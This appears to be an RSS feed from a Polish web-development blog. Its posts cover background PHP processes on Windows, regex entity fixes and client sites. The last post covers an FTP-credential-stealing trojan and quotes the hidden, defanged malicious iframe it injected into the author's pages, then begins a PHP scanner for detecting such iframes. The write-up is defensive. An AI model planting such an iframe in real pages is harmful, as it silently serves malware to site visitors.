<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>nobigwords.ntxt.net &#187; HTML</title>
	<atom:link href="http://nobigwords.ntxt.net/tag/html/feed/" rel="self" type="application/rss+xml" />
	<link>http://nobigwords.ntxt.net</link>
	<description>not too big words not only about web</description>
	<lastBuildDate>Thu, 08 Dec 2011 23:35:48 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3</generator>
		<item>
		<title>puścić coś w tle</title>
		<link>http://nobigwords.ntxt.net/2009/08/27/puscic-cos-w-tle/</link>
		<comments>http://nobigwords.ntxt.net/2009/08/27/puscic-cos-w-tle/#comments</comments>
		<pubDate>Thu, 27 Aug 2009 10:26:26 +0000</pubDate>
		<dc:creator>Piotr Tomaszewski</dc:creator>
				<category><![CDATA[flex]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[życie]]></category>
		<category><![CDATA[background]]></category>
		<category><![CDATA[cmd]]></category>
		<category><![CDATA[HTML]]></category>
		<category><![CDATA[internet]]></category>
		<category><![CDATA[monitoring]]></category>
		<category><![CDATA[monitorowanie]]></category>
		<category><![CDATA[portal]]></category>
		<category><![CDATA[shell]]></category>
		<category><![CDATA[skrypt]]></category>
		<category><![CDATA[start]]></category>
		<category><![CDATA[tle]]></category>
		<category><![CDATA[tło]]></category>
		<category><![CDATA[uruchomić]]></category>
		<category><![CDATA[windows]]></category>
		<category><![CDATA[www]]></category>

		<guid isPermaLink="false">http://nobigwords.ntxt.net/?p=260</guid>
		<description><![CDATA[Chcę móc uruchomić proces w tle za pomocą przeglądarki. Docelowo wszystko będzie działać na linkuksie, ale do testów przydałoby się to mieć u siebie. W linkuksie wiem. costam &#038; uruchamia proces w tle, potem fajnie mogę sobie zarządzać jobs . Ale ja chcę w Windows. Windows Vista, żeby nie było niedomówień. Wywołanie komendy przez exec [...]]]></description>
			<content:encoded><![CDATA[<p>Chcę móc uruchomić proces w tle za pomocą przeglądarki. Docelowo wszystko będzie działać na linkuksie, ale do testów przydałoby się to mieć u siebie. W linkuksie wiem.
<pre>costam &#038;</pre>
<p> uruchamia proces w tle, potem fajnie mogę sobie zarządzać
<pre>jobs</pre>
<p>. Ale ja chcę w Windows. Windows Vista, żeby nie było niedomówień. Wywołanie komendy przez <i>exec</i> działa, ale czeka na zakończenie, a nie o to chodzi. Proces ma działać długo, a ja tylko chcę monitorować jego stan, a nie zamulać Firefoksa.</p>
<pre>
exec("start /b c:/sciezka_do_php/php.exe C:/sciezka_do_skryptu_procesu/bgproces.php > test.txt");
</pre>
<p>Próbowałem też uruchomić jakiś batch (costam.bat), który z kolei miałby uruchomić skrypt PHP, ale to też nie zadziałało &#8211; cały czas przeglądarka czekała na zakończenie całego procesu. Rozwiązanie jest takie, że w PHP na Windows trzeba użyć klasy COM, czyli windowsowych mechanizmów OLE (Object Linking and Embedding). Wygląda to tak:</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #339933;">&lt;</span> ?php
<span style="color: #666666; font-style: italic;">/*
 * skrypt do uruchomienia w tle skryptTla.php
 */</span>
<span style="color: #000088;">$fname</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'c:/log.html'</span><span style="color: #339933;">;</span> 
<span style="color: #b1b100;">for</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$i</span><span style="color: #339933;">=</span><span style="color: #cc66cc;">0</span><span style="color: #339933;">;</span> <span style="color: #000088;">$i</span><span style="color: #339933;">&amp;</span>lt<span style="color: #339933;">;</span><span style="color: #cc66cc;">10</span><span style="color: #339933;">;</span> <span style="color: #000088;">$i</span><span style="color: #339933;">++</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
	<span style="color: #990000;">sleep</span><span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #990000;">file_put_contents</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$fname</span><span style="color: #339933;">,</span> <span style="color: #990000;">date</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'H:i:s'</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">'&lt;br/&gt;'</span><span style="color: #339933;">,</span> FILE_APPEND<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #990000;">file_put_contents</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$fname</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'&lt;hr /&gt;'</span><span style="color: #339933;">,</span> FILE_APPEND<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></div></div>


<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #339933;">&lt;</span> ?php
<span style="color: #009933; font-style: italic;">/**
 * skrypt widziany przez przeglądarkę
 */</span>
<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;uruchamiam &quot;</span> <span style="color: #339933;">.</span> <span style="color: #990000;">date</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'H:i:s '</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
  <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">isset</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_SERVER</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'PWD'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>
  <span style="color: #009900;">&#123;</span>
  	<span style="color: #666666; font-style: italic;">// $cmd = '....';</span>
    <span style="color: #000088;">$nullResult</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;php <span style="color: #006699; font-weight: bold;">$cmd</span> &gt; /dev/null &amp;&quot;</span><span style="color: #339933;">;</span>
  <span style="color: #009900;">&#125;</span><span style="color: #b1b100;">else</span><span style="color: #009900;">&#123;</span>
    <span style="color: #000088;">$cmd</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'sciezka_do_php/php.exe sciezkaSkryptuDoUruchomieniaWTle/skryptTla.php'</span><span style="color: #339933;">;</span>
    <span style="color: #000088;">$ws</span> <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> COM<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;WScript.Shell&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #000088;">$oExec</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$ws</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">Run</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$cmd</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">0</span><span style="color: #339933;">,</span> <span style="color: #009900; font-weight: bold;">false</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
  <span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot; koniec &quot;</span> <span style="color: #339933;">.</span> <span style="color: #990000;">date</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'H:i:s '</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot; OK &quot;</span><span style="color: #339933;">;</span>
&nbsp;
&nbsp;
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></div></div>

]]></content:encoded>
			<wfw:commentRss>http://nobigwords.ntxt.net/2009/08/27/puscic-cos-w-tle/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>jak sprytnie zamienić &amp; na &amp; amp;?</title>
		<link>http://nobigwords.ntxt.net/2009/07/22/jak-sprytnie-zamienic/</link>
		<comments>http://nobigwords.ntxt.net/2009/07/22/jak-sprytnie-zamienic/#comments</comments>
		<pubDate>Wed, 22 Jul 2009 14:39:23 +0000</pubDate>
		<dc:creator>Piotr Tomaszewski</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[& & znaczek and]]></category>
		<category><![CDATA[ampersand]]></category>
		<category><![CDATA[entities]]></category>
		<category><![CDATA[entycje]]></category>
		<category><![CDATA[HTML]]></category>
		<category><![CDATA[kodowanie]]></category>
		<category><![CDATA[preg_replace]]></category>
		<category><![CDATA[programowanie]]></category>
		<category><![CDATA[regexp]]></category>
		<category><![CDATA[tekst]]></category>
		<category><![CDATA[wyrażenia regularne]]></category>
		<category><![CDATA[xml]]></category>

		<guid isPermaLink="false">http://nobigwords.ntxt.net/?p=237</guid>
		<description><![CDATA[Zdarza się, że w tekstach jakie przygotowujemy do wyświetlania na stronach WWW część tzw. entycji jest już zakodowana poprawnie, a część nie. Mnie zdarzyło się tak ze znaczkiem &#38;, który normalnie powinien w XMLu i XHTMLu być kodowany jako &#38;amp; Niektóre ampersandy były zakodowane, ale większość pozostała w formie &#8220;wizualnej&#8221;, czyli jednego znaku. Parser XMLa [...]]]></description>
			<content:encoded><![CDATA[<p>Zdarza się, że w tekstach jakie przygotowujemy do wyświetlania na stronach WWW część tzw. entycji jest już zakodowana poprawnie, a część nie. Mnie zdarzyło się tak ze znaczkiem &amp;, który normalnie powinien w XMLu i XHTMLu być kodowany jako &amp;amp; Niektóre ampersandy były zakodowane, ale większość pozostała w formie &#8220;wizualnej&#8221;, czyli jednego znaku. Parser XMLa tego nie lubi. Ja nie lubię dłubania. Lubię za to wyrażenia regularne, więc takim oto krótkim poleceniem zamieniam wszystkie nieprawidłowo zakodowane &#8216;&amp;&#8217; na prawidłowe &#8216;&amp;amp;&#8217;, pozostawiając bez zmian te dobrze zapisane:</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000088;">$tekst</span> <span style="color: #339933;">=</span> <span style="color: #990000;">preg_replace</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'/&amp;(?!amp;)/'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'&amp;amp;'</span><span style="color: #339933;">,</span> <span style="color: #000088;">$tekst</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></div></div>

<p>W wyrażeniu regularnym użyłem <em>przewidywania</em> czyli poprosiłem o takie pasujące fragmenty, po których nie następuje ciąg &#8220;amp;&#8221;. Proste.</p>
<p><em>Przy okazji okazało się, że wordpress ma problem z zapisaniem &amp;amp; w tytule posta&#8230; :)</em></p>
]]></content:encoded>
			<wfw:commentRss>http://nobigwords.ntxt.net/2009/07/22/jak-sprytnie-zamienic/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Nikita Chickita</title>
		<link>http://nobigwords.ntxt.net/2009/06/19/nikita-chickita/</link>
		<comments>http://nobigwords.ntxt.net/2009/06/19/nikita-chickita/#comments</comments>
		<pubDate>Fri, 19 Jun 2009 20:29:36 +0000</pubDate>
		<dc:creator>Piotr Tomaszewski</dc:creator>
				<category><![CDATA[e-commerce]]></category>
		<category><![CDATA[moda]]></category>
		<category><![CDATA[ntxt.net]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[reklama]]></category>
		<category><![CDATA[życie]]></category>
		<category><![CDATA[chickita]]></category>
		<category><![CDATA[ciuchy]]></category>
		<category><![CDATA[ciuchy dla dziewczyn]]></category>
		<category><![CDATA[dziewczyn]]></category>
		<category><![CDATA[electric]]></category>
		<category><![CDATA[HTML]]></category>
		<category><![CDATA[internet]]></category>
		<category><![CDATA[les ettes]]></category>
		<category><![CDATA[marketing]]></category>
		<category><![CDATA[nastolatki]]></category>
		<category><![CDATA[nikita]]></category>
		<category><![CDATA[nixon]]></category>
		<category><![CDATA[opinie]]></category>
		<category><![CDATA[portal]]></category>
		<category><![CDATA[praca]]></category>
		<category><![CDATA[rusty]]></category>
		<category><![CDATA[sprzedaż]]></category>
		<category><![CDATA[strona]]></category>
		<category><![CDATA[vans]]></category>
		<category><![CDATA[www]]></category>

		<guid isPermaLink="false">http://nobigwords.ntxt.net/2009/06/19/nikita-chickita/</guid>
		<description><![CDATA[A także Electric, Etnies, Les Ettes, Nixon, Rusty, Sheroll, Vans, Vestal i inne&#8230; Właśnie przechodzę szybką edukację w dziedzinie marek odzieżowych dla nastolatek, a to dzięki sklepowi chickitashop.com, który pomagam ustawić w odpowiednim miejscu internetu :) Prowadzi go moja Kuzynka, więc pewni politycy nazwaliby to układem. Ale fajnie jest zająć się zupełnie inną branżą i [...]]]></description>
			<content:encoded><![CDATA[<p>A także <a href="http://chickitashop.com/electric-m-7.html">Electric</a>, <a href="http://chickitashop.com/etnies-m-9.html">Etnies</a>, <a href="http://chickitashop.com/les-ettes-m-6.html">Les Ettes</a>, <a href="http://chickitashop.com/nixon-m-5.html">Nixon</a>, <a href="http://chickitashop.com/rusty-m-12.html">Rusty</a>, <a href="http://chickitashop.com/sheroll-m-3.html">Sheroll</a>, <a href="http://chickitashop.com/vans-m-2.html">Vans</a>, <a href="http://chickitashop.com/vestal-m-11.html">Vestal</a> i inne&#8230; Właśnie przechodzę szybką edukację w dziedzinie marek odzieżowych dla nastolatek, a to dzięki sklepowi chickitashop.com, który pomagam ustawić w odpowiednim miejscu internetu :) Prowadzi go moja Kuzynka, więc pewni politycy nazwaliby to układem. Ale fajnie jest zająć się zupełnie inną branżą i poobserwować &mdash; całkiem imponujący &mdash; ruch na stronie. </p>
<p>W tej chwili sklep bazuje na opensourcowym oscGold, czyli polskiej adaptacji osCommerce. Jednak pomimo że to ogromny projekt i faktycznie pozwala dość prostymi środkami uruchomić i prowadzić sprzedaż, to czytelność kodu i jego styl przypominają mi własne produkty&#8230; sprzed pięciu lat. Domyślam się, że refaktoryzacja tak dużego przedsięwzięcia to niełatwa rzecz i pewnie dlatego pełno tu stałych i zmiennych globalnych, dziesiątek &#8216;includowanych&#8217; plików, mieszania layoutu i logiki. Kusi, żeby zrobić wszystko od nowa&#8230;</p>
]]></content:encoded>
			<wfw:commentRss>http://nobigwords.ntxt.net/2009/06/19/nikita-chickita/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Luksusowe ceny</title>
		<link>http://nobigwords.ntxt.net/2009/06/07/luksusowe-ceny/</link>
		<comments>http://nobigwords.ntxt.net/2009/06/07/luksusowe-ceny/#comments</comments>
		<pubDate>Sun, 07 Jun 2009 11:42:22 +0000</pubDate>
		<dc:creator>Piotr Tomaszewski</dc:creator>
				<category><![CDATA[flash]]></category>
		<category><![CDATA[ntxt.net]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[reklama]]></category>
		<category><![CDATA[rynek]]></category>
		<category><![CDATA[CMS]]></category>
		<category><![CDATA[HTML]]></category>
		<category><![CDATA[luksusowe apartamenty]]></category>
		<category><![CDATA[luksusowe mieszkania]]></category>
		<category><![CDATA[luksusowe rezydencje]]></category>
		<category><![CDATA[ntxt]]></category>
		<category><![CDATA[rezydencje]]></category>
		<category><![CDATA[rezydencje na sprzedaż]]></category>
		<category><![CDATA[rynek mieszkaniowy]]></category>
		<category><![CDATA[savills]]></category>
		<category><![CDATA[savills-residential]]></category>
		<category><![CDATA[SEO]]></category>
		<category><![CDATA[sprzedaż nieruchomości]]></category>

		<guid isPermaLink="false">http://nobigwords.ntxt.net/?p=208</guid>
		<description><![CDATA[Ceny ofert na tej stronie sięgają 90 mln zł, a tytuł uzasadnia ten poziom: Luksusowe Apartementy i Rezydencje. Kilka dni temu uruchomiliśmy nową, opartą głównie na HTMLu stronę Savills Residential. Stara, flashowa wersja działa nadal pod adresem http://savills2.savills-residential.pl, bo zastosowany tam sposób nawigacji i prezentacji ofert nadal wydaje się nam ciekawy, a trudno go pokazać [...]]]></description>
			<content:encoded><![CDATA[<p>Ceny ofert na tej stronie sięgają 90 mln zł, a tytuł uzasadnia ten poziom:<a href="http://www.savills-residential.pl"> Luksusowe Apartementy i Rezydencje</a>. Kilka dni temu uruchomiliśmy nową, opartą głównie na HTMLu stronę Savills Residential. Stara, flashowa wersja działa nadal pod adresem <a href="http://savills2.savills-residential.pl">http://savills2.savills-residential.pl</a>, bo zastosowany tam sposób nawigacji i prezentacji ofert nadal wydaje się nam ciekawy, a trudno go pokazać na statycznych obrazkach. Nowa strona powstawała głównie z myślą o pozycjonowaniu i jakości kodu. Sam HTML waży 11 do 21 kB, dla porównania:<br />
<a href="http://www.emerson.pl">http://www.emerson.pl</a> &#8211; 133 kB<br />
<a href="http://www.strzelczyk.pl/">http://www.strzelczyk.pl/</a> 38 kB<br />
<a href="http://www.knightfrank.com.pl/">http://www.knightfrank.com.pl/</a> 4 kB (!)<br />
<a href="http://www.gratka.pl/">http://www.gratka.pl/</a> 12 kB</p>
<p>Jeszcze niedawno dość normalne były strony powyżej 200 kB kodu. Mimo coraz szybszych łączy jakość i zwięzłość kodu poprawia się. Myślę, że w dużym stopniu jest to wymuszone SEO i kosztami transferu.</p>
<p>Oprócz ofert jak dotąd, pojawiły się też opisy <a href="http://www.savills-residential.pl/sprzedajemy_nieruchomosci">działań reklamowych Savills</a> i przykładowe realizacje. Tak się miło złożyło, że sporo z tych obrazków to nasze projekty. Oczywiście nie odeszliśmy od Flasha całkowicie, nadal prezentacje zdjęć i formularz kontaktowy to mini aplikacje w SWF. Po stronie serwera framework oparty na AMF. Do administracji ofertami służy CMS napisany we Fleksie. Obsługuje upload plików, przypisywanie ich do ofert, edycję opisów w dwóch językach, kategorie i lokalizacje ofert.</p>
]]></content:encoded>
			<wfw:commentRss>http://nobigwords.ntxt.net/2009/06/07/luksusowe-ceny/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Domy w Sosnowej Dolinie mają nową stronę</title>
		<link>http://nobigwords.ntxt.net/2009/05/21/domy-w-sosnowej-dolinie-maja-nowa-strone/</link>
		<comments>http://nobigwords.ntxt.net/2009/05/21/domy-w-sosnowej-dolinie-maja-nowa-strone/#comments</comments>
		<pubDate>Thu, 21 May 2009 09:53:23 +0000</pubDate>
		<dc:creator>Piotr Tomaszewski</dc:creator>
				<category><![CDATA[actionscript]]></category>
		<category><![CDATA[flash]]></category>
		<category><![CDATA[ntxt.net]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[reklama]]></category>
		<category><![CDATA[aig]]></category>
		<category><![CDATA[AIG/Lincoln]]></category>
		<category><![CDATA[deep linking]]></category>
		<category><![CDATA[domy jednorodzinne]]></category>
		<category><![CDATA[HTML]]></category>
		<category><![CDATA[lincoln]]></category>
		<category><![CDATA[magdalenka]]></category>
		<category><![CDATA[mieszkania]]></category>
		<category><![CDATA[ntxt]]></category>
		<category><![CDATA[residential]]></category>
		<category><![CDATA[sękocin]]></category>
		<category><![CDATA[sosnowa dolina]]></category>
		<category><![CDATA[strona]]></category>
		<category><![CDATA[warszawa]]></category>
		<category><![CDATA[www]]></category>

		<guid isPermaLink="false">http://nobigwords.ntxt.net/?p=198</guid>
		<description><![CDATA[Po dłuuugim okresie pracy, udało się uruchomić stronę podwarszawskiego osiedla domów firmy AIG/Lincoln Polska. To już nasza czwarta internetowa realizacja dla tej firmy. Strona to kontynuacja residential.pl, witryny zbierającej prezentacje mieszkaniowej działalności dewelopera O ile residential.pl jest właściwie czysto flashową prezentacją odnośników do konkretnych treści na innych stronach, to sosnowadolina.pl już te treści zawiera. Kłopot [...]]]></description>
			<content:encoded><![CDATA[<p>Po dłuuugim okresie pracy, udało się uruchomić stronę <a href="http://sosnowadolina.pl">podwarszawskiego osiedla domów</a> firmy AIG/Lincoln Polska. To już nasza czwarta internetowa realizacja dla tej firmy. Strona to kontynuacja residential.pl, witryny zbierającej prezentacje <a href="http://residential.pl">mieszkaniowej działalności dewelopera</a> O ile residential.pl jest właściwie czysto flashową prezentacją odnośników do konkretnych treści na innych stronach, to sosnowadolina.pl już te treści zawiera. Kłopot polegał na sensownym utrzymaniu animowanego nagłówka z menu i obrazkami, czyli spójności &#8220;user experience&#8221; ;) z jednoczesnym przechodzeniem między stronami. Najeżdżanie kursorem na fotkę powoduje rozuwanie harmonijki zdjęć, klikanie na opcje menu i obrazki czasem przenosi na inną stronę, czasem wyświetla podmenu. Konsultując rozwiązania z Klientem, w końcu jakoś to opanowaliśmy. Zdecydowaliśmy się zaakceptować jedną z wad Ajaksa, związaną z niedziałającym przyciskiem <i>wstecz</i>. Wiem, że są sposoby i na to, ale moim zdaniem zbyt skomplikowane jak na tę prostą strukturę. Za to działają deep-linki, czyli bezpośrednie odnośniki do treści. </p>
<p><small>Aha, niniejszym bardzo dziękujemy Katarzynie, obu Magdalenom i Adminowi za miłą współpracę, zaangażowanie i&#8230; pochwały. Panu Tomaszowi z <a href="http://onyx.pl">firmy hostingowej Onyx</a> również, za szybkie działanie i fachową pomoc.</small></p>
]]></content:encoded>
			<wfw:commentRss>http://nobigwords.ntxt.net/2009/05/21/domy-w-sosnowej-dolinie-maja-nowa-strone/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>iframe hack, czyli włamanie na FTP</title>
		<link>http://nobigwords.ntxt.net/2009/05/04/iframe-hack-czyli-wlamanie-na-ftp/</link>
		<comments>http://nobigwords.ntxt.net/2009/05/04/iframe-hack-czyli-wlamanie-na-ftp/#comments</comments>
		<pubDate>Mon, 04 May 2009 08:45:09 +0000</pubDate>
		<dc:creator>Piotr Tomaszewski</dc:creator>
				<category><![CDATA[bezpieczeństwo]]></category>
		<category><![CDATA[google]]></category>
		<category><![CDATA[ntxt.net]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[życie]]></category>
		<category><![CDATA[.cn]]></category>
		<category><![CDATA[atak]]></category>
		<category><![CDATA[doklejanie kodu]]></category>
		<category><![CDATA[FTP]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[hasło]]></category>
		<category><![CDATA[HTML]]></category>
		<category><![CDATA[iframe]]></category>
		<category><![CDATA[joomla]]></category>
		<category><![CDATA[lotante]]></category>
		<category><![CDATA[problem]]></category>
		<category><![CDATA[trojan]]></category>
		<category><![CDATA[wirus]]></category>
		<category><![CDATA[wklejanie kodu]]></category>
		<category><![CDATA[włamanie]]></category>
		<category><![CDATA[wordpress]]></category>
		<category><![CDATA[www]]></category>
		<category><![CDATA[zagrożenie]]></category>

		<guid isPermaLink="false">http://nobigwords.ntxt.net/?p=176</guid>
		<description><![CDATA[Amerykańska armia testuje automatycznych żołnierzy, mając wciąż skrupuły co do bezpieczeństwa i moralności użycia takiej broni. W Internecie sztuczne wojsko działa już dawno. Trojan, po zainfekowaniu komputera, wykrada hasła do kont FTP z popularnych programów, takich jak Total Commander, czy Filezilla. Następnie wysyła je gdzieś na serwer bandycki, a stamtąd uruchamiane jest włamanie i edycja [...]]]></description>
			<content:encoded><![CDATA[<p>Amerykańska armia testuje <a href="http://www.wired.com/dangerroom/2009/04/army-tests-new/">automatycznych żołnierzy</a>, mając wciąż skrupuły co do bezpieczeństwa i moralności użycia takiej broni. W Internecie sztuczne wojsko działa już dawno. Trojan, po zainfekowaniu komputera, wykrada hasła do kont FTP z popularnych programów, takich jak Total Commander, czy Filezilla. Następnie wysyła je gdzieś na serwer bandycki, a stamtąd uruchamiane jest włamanie i edycja plików. Polega ona na dość prostym doklejeniu kodu do stron na FTP, który w niezauważalny dla użytkownika sposób ściąga z innej złoczynnej witryny szkodliwe oprogramowanie. </p>
<p>Również niniejsza strona i nasza główna &mdash; ntxt.net, zostały, jak mówią Amerykanie, skompromitowane. Piątego kwietnia we wszystkich plikach PHP i HTML o nazwach zaczynających się na &#8216;index&#8217; pojawił się taki kawałek (dodałem gwiazdkę przed http):</p>

<div class="wp_syntax"><div class="code"><pre class="html" style="font-family:monospace;">&lt;iframe src=&quot;*http://lotante.cn/in.cgi?income38&quot;
width=1 height=1 style=&quot;visibility: hidden&quot;&gt;&lt;/iframe&gt;</pre></div></div>

<p>Konkretny adres bywa różny, <a href="http://blog.unmaskparasites.com/2009/04/15/malicious-income-iframes-from-cn-domains/">lista podejrzanych domen jest spora</a>. Ten akurat podobno (bo nie sprawdzałem!) sprawdza obecność pluginu Flash luub Acrobat Readera, po czym ściąga spreparowany plik PDF albo SWF. Moim zdaniem warto mieć wyłączony domyślnie JavaScript, (w Firefoksie np. rozszerzeniem <a href="https://addons.mozilla.org/pl/firefox/addon/722">NoScript</a>). Infekcja może spowodować że Google będzie sygnalizować zagrożenie przy wchodzeniu na stronę (jeśli ktoś to zgłosi, oczywiście). Oprócz pozbycia się robactwa z komputera, należy koniecznie zmienić hasło do FTP, unikając zapamiętywania go przez program. <a href="http://totalcmd.pl/download/app/new/Total_Commander_7.50_Public_Beta_2">Total Commander w najnowszej wersji </a>(7.5 beta) ma już ochronę haseł szyfrowaniem i hasłem głównym.</p>
<p>Trzeba też odnaleźć wszystkie zmiany poczynione przez bota na FTP, a to żmudne zajęcie. Odrobinę może pomóc taki skrypt w PHP, przeczesujący pliki zawierające &#8216;index&#8217; w nazwie i sygnalizujący wystąpienia taga &lt;iframe&gt;. Aby z neigo skorzystać, trzeba zapisać go np. pod nazwą znajdziframe.php w katalogu ze stroną, ustawiając wcześniej zmienną $root na odpowiednią dla swojego serwera. Potem, z przeglądarki, wywołujemy go wpisując adres: http://mojserwer/znajdziframe.php?depth=10 i czekamy na listę podejrzanych (bo nie każdy iframe jest zły!). Parametr <i>depth</i> określa głębokość, na jaką w podkatalogi zagłębi się sprawdzacz licząc od katalogu głównego.</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #339933;">&lt;</span> ?
<span style="color: #666666; font-style: italic;">// katalog główny strony</span>
<span style="color: #000088;">$root</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'/public_html'</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #666666; font-style: italic;">// głębokość sprawdzania w podkatalogach</span>
<span style="color: #000088;">$depth</span> <span style="color: #339933;">=</span> <span style="color: #990000;">empty</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'depth'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span> ? <span style="color: #cc66cc;">5</span> <span style="color: #339933;">:</span> <span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'depth'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #666666; font-style: italic;">// uruchomienie</span>
digdir<span style="color: #009900;">&#40;</span><span style="color: #000088;">$root</span><span style="color: #339933;">,</span> <span style="color: #000088;">$depth</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #666666; font-style: italic;">// rekurencyjna funkcja sprawdzająca</span>
<span style="color: #000000; font-weight: bold;">function</span> digdir<span style="color: #009900;">&#40;</span><span style="color: #000088;">$dir</span><span style="color: #339933;">,</span> <span style="color: #000088;">$level</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
	<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$level</span> <span style="color: #339933;">&lt;=</span> <span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span> <span style="color: #b1b100;">return</span> <span style="color: #009900; font-weight: bold;">false</span><span style="color: #339933;">;</span>
	<span style="color: #000088;">$handle</span> <span style="color: #339933;">=</span> <span style="color: #990000;">opendir</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$dir</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #b1b100;">while</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$plik</span> <span style="color: #339933;">=</span> <span style="color: #990000;">readdir</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$handle</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
			<span style="color: #000088;">$path</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;<span style="color: #006699; font-weight: bold;">$dir</span>/<span style="color: #006699; font-weight: bold;">$plik</span>&quot;</span><span style="color: #339933;">;</span>
			<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">substr</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$plik</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">0</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">!=</span><span style="color: #0000ff;">&quot;.&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
				<span style="color: #666666; font-style: italic;">//$data = date(&quot;Y-m-d&quot;, filemtime($path));</span>
				<span style="color: #666666; font-style: italic;">//$prawa = decoct(fileperms($path));</span>
&nbsp;
				<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><span style="color: #990000;">is_dir</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$path</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
